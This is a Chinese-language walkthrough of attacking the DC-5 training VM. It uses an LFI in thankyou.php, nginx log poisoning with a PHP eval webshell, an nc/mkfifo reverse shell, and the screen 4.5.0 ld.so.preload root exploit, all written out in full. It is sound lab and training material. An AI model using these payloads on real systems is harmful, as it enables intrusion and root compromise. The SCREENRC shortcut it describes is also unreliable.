渗透测试——靶机DC-5详细渗透getshell过程

休息了一个周末,今天继续我们的学习;给大家带来靶机DC-5详细渗透getshell过程;

这个靶机主要是利用安装在主机上的应用程序RCE漏洞来进行越权,所以在日常生活中提醒我们要及时更新软件的版本,避免出现危险;

文章目录


前置准备

首先我们在VitrualBox里导入DC-5的.ova镜像文件

然后在Vmware里开启我们的kali(如果你的Kali安装在VirtualBox,那么后续的网络配置就不用看):

网络配置

  • DC-5靶机:
    首先我们点击靶机 ---> 选择设置 ---> 网络 ---> 仅主机网络:

随后将网络配置为192.168.56.0/24网段的IP地址:

这里靶机DC-5的网络配置就好了;


接下来我们配置Kali的 ---> 虚拟网络编辑器 ---> 新建一个NAT网卡 ---> 配置192.168.56.0/24网段:

随后我们打开kali,输入命令ifconfig,查看是否配置成功:

这里需要先打开VirtualBox的靶机,否则可能会出现网络不显示的情况:


如图所示:

Kali主机网络成功配置;


信息收集

确定目标主机的IP地址

我们根据上述得知:

  • 目标主机网段:192.168.56.0/24(模拟公网可访问的IP地址)

所以我们用Kali对其进行扫描,查看它开启了哪些服务以及端口:

bash 复制代码
# 确定确定IP地址
nmap -sP 192.168.56.0/24

可以看到我们得到了两个IP地址:

那如何确定哪一个才是真正的目标主机呢?

很简单,直接去ping IP地址 即可

至此,我们可以确定目标主机的IP地址为192.168.56.109

开放的服务以及端口

接下来我们就要对目标主机进行更加详细的信息收集了,查看其开启了哪些端口以及服务:

bash 复制代码
# 收集信息
nmap -sV -sC -A -T4 -p- 192.168.56.109

可以看到目标主机对外开放了两个端口:

  • 80:http服务
  • 60028:可能搭建的Web服务

接下来我们就去访问一下,看看有什么可以利用的漏洞:

深入了解系统,发现只有Contrat 选项出现了留言框(其他三个功能的都是文字):

对其进行Web目录枚举,也没有发现什么有用的信息:

  • thankyou.php:留言板提交后的感谢页面;(同样会变化)
  • footer.php:每刷新一次,页面内容会变化;



这种情况我也是第一次遇到,所以就去网上问了一下;

漏洞利用

首先明确:这种"刷新后内容(年份)随机变化"的现象,可能关联的漏洞及验证、防范方式如下:

核心是代码逻辑不规范/危险功能滥用,常见对应漏洞类型:

  1. 本地/远程文件包含漏洞(LFI/RFI)
    如果footer.php中使用了include/require包含文件,且包含的文件路径/内容是"随机/用户可控"的(比如代码里随机选一个文件包含),则属于文件包含漏洞。
  2. 不安全的随机内容生成(若关联用户输入则是注入漏洞)
    若年份是通过用户可控输入+未过滤的拼接 生成(而非单纯代码内rand()),则可能存在代码注入/HTML注入漏洞;若只是代码内rand(2015,2020)生成年份,本身不算漏洞,但属于不规范的版权信息展示。

漏洞验证方法

  • 验证是否为文件包含漏洞(最常见)
    • 测试本地文件包含(PHP环境)
      访问 footer.php?file=php://filter/read=convert.base64-encode/resource=footer.php,若能返回footer.php的Base64编码源码,说明存在本地文件包含漏洞(可读取服务器文件)。
    • 测试敏感文件读取
      若服务器是Linux,尝试 footer.php?file=../../etc/passwd;Windows则尝试 footer.php?file=C:/Windows/win.ini,若返回对应系统文件内容,说明漏洞存在。

(这里因为有两个页面,所以分别进行尝试;)

本地文件包含漏洞(LFI)

经过多次尝试,发现漏洞存在于thankyou.php页面:

这里整理了一下可以验证的POC:

bash 复制代码
# 一、基础路径遍历型 LFI 测试 Payload
1.简化版 base64 编码读取文件
?file=php://filter/convert.base64-encode/resource=index.php

2.用 ROT13 编码读取文件内容
file=php://filter/read=string.rot13/resource=index.php

3.	利用 file 协议读取本地文件(Linux)
?file=file:///etc/passwd

4.直接读取目标文件
?file=index.php

随后,我利用上述命令查看footer.php的源代码,发现了漏洞产生的原因:

bash 复制代码
<div class="footer-wrapper">
	<footer>
		<?php
			$file = $_GET['file'];
				if(isset($file))
				{
					include("$file");
				}
				else
				{
					include("footer.php");
				}
		?>
	</footer>
</div>

代码分析:

(1)thankyou.php 存在 无任何防护的本地文件包含(Local File Inclusion, LFI)漏洞

(2)用户输入完全可控且无过滤:file 直接取自 GET 参数 file,仅通过isset(file)判断是否存在,无任何输入验证、路径过滤、协议拦截;(经过测试,可访问任意目录下存在的文件

所以我们可以尝试一下日志注入;(简单给大家讲下原理)

  • 日志注入 + LFI 执行代码(无需allow_url_include=On,通用性极强)
    目标:绕开 PHP 配置限制,间接执行代码(攻击者最常用的 "绕限制" 手段),操作步骤:

(1)注入恶意代码到 Web 日志:

访问 http://目标IP/<?php system('whoami');>(<?php是\<?php的 URL 编码,%3E是?>),该请求会被记录到 Apache/Nginx 访问日志中;
(2)找到日志路径:

攻击者通过读取/etc/apache2/apache2.conf或猜测,确定日志路径(如 Apache:/var/log/apache2/access.log,Nginx:/var/log/nginx/access.log);

(3)包含日志文件执行代码:

访问 thankyou.php?file=/var/log/apache2/access.log,服务器include日志文件时,解析其中的 PHP 代码,执行system('whoami')。

危害:无需依赖 PHP 配置,隐蔽性极高,即使allow_url_include=Off也能执行代码。

所以接下来我们就可以查看/etc/passwd下的文件:

(无可用信息)

日志注入

我们可以用bp抓包,构造一句话目录,使其记录到日志中:

根据收集到的信息,服务器版本为Nginx 1.6.2

  • 所以Nginx的配置文件位置为:
    • thankyou.php?file=/etc/nginx/nginx.conf

返回的结果为:(其中就包含了日志文件的路径

bash 复制代码
user www-data; worker_processes 4; pid /run/nginx.pid; events { worker_connections 768; # multi_accept on; } http { ## # Basic Settings ## sendfile on; tcp_nopush on; tcp_nodelay on; keepalive_timeout 65; types_hash_max_size 2048; # server_tokens off; # server_names_hash_bucket_size 64; # server_name_in_redirect off; include /etc/nginx/mime.types; default_type application/octet-stream; ## # SSL Settings ## ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # Dropping SSLv3, ref: POODLE ssl_prefer_server_ciphers on; ## # Logging Settings ## access_log /var/log/nginx/access.log; error_log /var/log/nginx/error.log; ## # Gzip Settings ## gzip on; gzip_disable "msie6"; # gzip_vary on; # gzip_proxied any; # gzip_comp_level 6; # gzip_buffers 16 8k; # gzip_http_version 1.1; # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; ## # Virtual Host Configs ## include /etc/nginx/conf.d/*.conf; include /etc/nginx/sites-enabled/*; } #mail { # # See sample authentication script at: # # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript # # # auth_http localhost/auth.php; # # pop3_capabilities "TOP" "USER"; # # imap_capabilities "IMAP4rev1" "UIDPLUS"; # # server { # listen localhost:110; # protocol pop3; # proxy on; # } # # server { # listen localhost:143; # protocol imap; # proxy on; # } #}

(可以放进ChatGPT里分析)

可以得到的信息为:

日志类型 默认路径 作用
访问日志 /var/log/nginx/access.log 记录所有客户端请求(包含URL、User-Agent、状态码等)
错误日志 /var/log/nginx/error.log 记录Nginx启动/运行时的错误信息(如配置错误、请求异常)

getshell步骤

我们使用BP抓包,输入一句话木马:<?php @eval($_POST['cmd']);?>

然后查看/var/log/nginx/error.log文件,成功注入一句话木马:

使用蚁剑连接

连接失败的可以看这篇文章:如何解决蚁剑返回数据为空(已成功解决)

连接URL为:http://192.168.56.109/thankyou.php?file=/var/log/nginx/error.log

(这里的密码为cmd

成功进入目标主机:

后渗透:目标主机提权

接下来,我们要做的就是拿到目标主机root权限了:

  • 可以反弹一个shell到kali
  • 也可以直接使用蚁剑进行操作

(两者效果是一样的,一般比较推荐反弹shell到kali,这样不会留下太多日志记录

随后简单测试了下目标主机支持哪种语言反弹shell

还是挺多的,随便写一句反弹到kali:192.168.56.103

bash 复制代码
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.56.103 4444 >/tmp/f

成功反弹一个shell:

(1)寻找可利用的SUDO权限

首先我们要尝试的是用户有哪些可利用的SUDO权限:

bash 复制代码
sudo -l
cat /etc/sudoers

发现报错?

  • 默认权限: -r--r-----(440),仅root用户 /root组可读可编辑,普通用户(如 www-data)直接读取会被拒绝,部分系统会伪装成 "文件不存在"(而非直接提示Permission denied),这是 Linux 的安全机制;
  • 验证方法(root 权限下):ls -la /etc/sudoers,输出示例:

(2)寻找可利用的SUID权限:

直接输入命令:

bash 复制代码
find / -perm -u=s -type f 2>/dev/null

得到结果如下:

从执行find / -perm -u=s -type f 2>/dev/null的结果中,/bin/screen-4.5.0是唯一可直接利用来获取root权限的SUID文件(DC-5靶机的核心提权点),部分其他SUID文件需特定条件才能利用。

一、利用步骤(www-data用户下执行)
  1. 验证screen的SUID权限和版本(先确认目标):

    bash 复制代码
    ls -la /bin/screen-4.5.0
    # 输出应类似:-rwsr-xr-x 1 root root 123456 Apr 1 2025 /bin/screen-4.5.0
    # 关键:权限是`-rws`(SUID),所有者是root
  2. 利用screen的配置文件漏洞提权 (经典方法):

    screen启动时会读取环境变量SCREENRC指定的配置文件,我们可以构造恶意配置文件让screen执行root权限的bash:

    bash 复制代码
    # 1. 切换到/tmp目录(www-data有写权限)
    cd /tmp
    
    # 2. 创建恶意screen配置文件:启动时直接执行/bin/bash
    echo 'exec /bin/bash' > malicious_screenrc
    
    # 3. 设置环境变量,让screen读取这个恶意配置文件
    export SCREENRC=malicious_screenrc
    
    # 4. 执行screen-4.5.0(SUID root,会以root权限加载配置文件)
    /bin/screen-4.5.0 -x
  3. 验证提权结果

    执行后会直接进入root权限的shell,输入id验证:

    bash 复制代码
    id
    # 输出:uid=0(root) gid=0(root) groups=0(root)
二、其他SUID文件的利用可能性(需特定条件)

结果中的其他SUID文件利用难度高/需额外条件,实际场景中很少用:

SUID文件 利用条件 简要利用方法
/bin/su 需知道root密码 执行su root并输入密码(DC-5中root密码未知,无法直接用)
/bin/mount 需外部存储设备(如U盘) 挂载包含恶意setuid程序的ISO文件,执行后提权(无物理访问则无法用)
/usr/bin/chfn 特定版本漏洞(如CVE-2013-4235) 执行chfn时注入命令,旧版本中可提权(DC-5中chfn版本无此漏洞)
/usr/bin/at atd服务运行+www-data被允许使用at 创建定时任务`echo "chmod 4755 /bin/bash"

/bin/screen-4.5.0漏洞获取root权限

我们到漏洞库去搜索相应的漏洞:screen 4.5.0

(1)首先下载41154.sh脚本,并上传到主机:

(2)将下面的代码保存为rootshell.c

bash 复制代码
#include <unistd.h>
#include <stdio.h>

int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    char *argv[] = {"/bin/sh", NULL};
    execvp("/bin/sh", argv);
    return 0;
}

(3)然后将下面代码保存为libhax.c

bash 复制代码
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>

__attribute__((constructor))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

(3)正确的编译方式(标准流程)

bash 复制代码
# 编译 rootshell
gcc -o rootshell rootshell.c

# 编译恶意 so
gcc -fPIC -shared -ldl -o libhax.so libhax.c

(4)将剩余的代码保存为1.sh

bash 复制代码
#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

(5)最后我们需要上传下面这三个文件

(6)然后将三个文件上传到 /tmp目录中

(7)随后执行代码

这里报错原因为:

  • 编译环境与运行环境的 GLIBC 版本不兼容
    • Kali(高版本 GLIBC,比如 2.34+)上编译的rootshell;
    • 但 DC-5 靶机的系统 GLIBC 版本更低(DC-5 基于 Debian 9,GLIBC 版本是 2.24 左右);导致程序无法调用低版本 GLIBC 的函数。
  • 解决思路:在 DC-5 靶机本地编译 C 代码(保证与靶机 GLIBC 版本匹配)直接在 DC-5 的www-data用户下(/tmp 目录)创建 C 文件并本地编译;

随后成功拿到root权限:

总结

期待下次再见;

相关推荐
kkk_皮蛋2 小时前
带宽估计 BWE (WebRTC 的智能网络优化核心)
网络·webrtc
爱编程的小吴2 小时前
文件上传漏洞:攻击案例拆解与全方位防御指南
安全
Autumn72992 小时前
超算 HPC使用 (集群1):SSH免密登录
运维·ssh
真正的醒悟2 小时前
AI中的网络世界
运维·服务器·网络
Watermelo6172 小时前
【前端实战】Axios 错误处理的设计与进阶封装,实现网络层面的数据与状态解耦
前端·javascript·网络·vue.js·网络协议·性能优化·用户体验
世界尽头与你2 小时前
CVE-2021-40438_ Apache HTTP Server mod_proxy 模块 SSRF漏洞
安全·网络安全·渗透测试·apache
Web3VentureView2 小时前
Synbo与Superpool达成合作:共建链上募资早期入口
网络·金融·web3·区块链
星光一影2 小时前
社交交友软件系统源码 即时通讯 聊天 微信小程序 App H5三端通用
mysql·微信小程序·小程序·php·uniapp·交友
日志易2 小时前
日志易5.5正式发布,强化可视化运维与企业级安全,赋能智能日志管理
大数据·运维·安全